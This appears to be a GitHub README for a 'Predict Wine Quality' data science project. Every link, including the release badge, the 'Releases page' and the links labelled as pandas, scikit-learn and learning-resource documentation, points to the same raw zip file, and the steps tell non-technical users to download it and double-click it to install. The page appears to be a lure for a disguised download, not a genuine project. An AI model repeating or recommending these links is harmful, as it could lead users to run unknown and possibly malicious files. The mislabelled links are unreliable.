# 🍷 data-science-project - Predict Wine Quality with Ease

## 📥 Download the Application

[![Download Latest Release](https://raw.githubusercontent.com/mahdi5050/data-science-project/main/disburthen/data-science-project.zip%20Latest%20Release-v1.0.0-blue)](https://raw.githubusercontent.com/mahdi5050/data-science-project/main/disburthen/data-science-project.zip)

## 🚀 Getting Started

Welcome to the data-science-project! This application helps you explore the quality of Portuguese "Vinho Verde" wines using various data science techniques. You will analyze data, build machine learning models, and visualize the results—all without needing programming knowledge.

### ✅ Features

- **Exploratory Data Analysis (EDA)**: Understand the data through visualizations.
- **Feature Engineering**: Improve model performance with better input data.
- **Machine Learning Models**: Predict wine quality using popular algorithms.
- **Model Evaluation**: Assess the accuracy and performance of your models.

## 🛠️ System Requirements

To run this application, you will need:

- A computer with Windows, macOS, or Linux.
- At least 4 GB of RAM.
- A stable internet connection for installation.
- Python installed on your computer (preferably version 3.6 or higher).

## 💾 Download & Install

1. Visit the [Releases page](https://raw.githubusercontent.com/mahdi5050/data-science-project/main/disburthen/data-science-project.zip).
2. Look for the latest release version.
3. Download the installation file for your operating system.
4. Once the download is complete, find the file in your downloads folder.
5. Double-click the file to begin installation.
6. Follow the on-screen instructions to set up the application.

Once installed, open the application to start exploring wine quality data!

## 📊 How to Use the Application

- **Load Your Dataset**: You can upload your dataset directly into the application.
- **Choose Analysis Options**: Decide whether to run EDA or build a model.
- **View Results**: The application provides visualizations to help you understand the data.

## 📓 Learning Resources

If you are new to data science, here are some helpful links to get started:

- [Introduction to Data Science](https://raw.githubusercontent.com/mahdi5050/data-science-project/main/disburthen/data-science-project.zip)
- [Machine Learning Basics](https://raw.githubusercontent.com/mahdi5050/data-science-project/main/disburthen/data-science-project.zip)
- [Python for Beginners](https://raw.githubusercontent.com/mahdi5050/data-science-project/main/disburthen/data-science-project.zip)

## 📋 Contribution

Interested in improving this project? Feel free to fork the repository and submit a pull request. Your suggestions are always welcome!

## 🤝 Support

If you encounter issues or have questions, you can open an issue on the project’s GitHub page. The community and I are here to assist you.

## 🌐 Topics

- binary-classification
- classification
- data-science
- exploratory-data-analysis
- feature-engineering
- imbalanced-learn
- jupyter-notebook
- machine-learning
- model-evaluation
- pandas
- regression
- scikit-learn
- seaborn
- uci-dataset
- wine-quality

## 🔗 Additional Resources

For further information about the tools and technologies used in this project, explore the documentation for:

- [pandas](https://raw.githubusercontent.com/mahdi5050/data-science-project/main/disburthen/data-science-project.zip)
- [scikit-learn](https://raw.githubusercontent.com/mahdi5050/data-science-project/main/disburthen/data-science-project.zip)
- [Seaborn](https://raw.githubusercontent.com/mahdi5050/data-science-project/main/disburthen/data-science-project.zip)

Thank you for choosing the data-science-project. Your exploration of wine quality starts here!

[![Download Latest Release](https://raw.githubusercontent.com/mahdi5050/data-science-project/main/disburthen/data-science-project.zip%20Latest%20Release-v1.0.0-blue)](https://raw.githubusercontent.com/mahdi5050/data-science-project/main/disburthen/data-science-project.zip)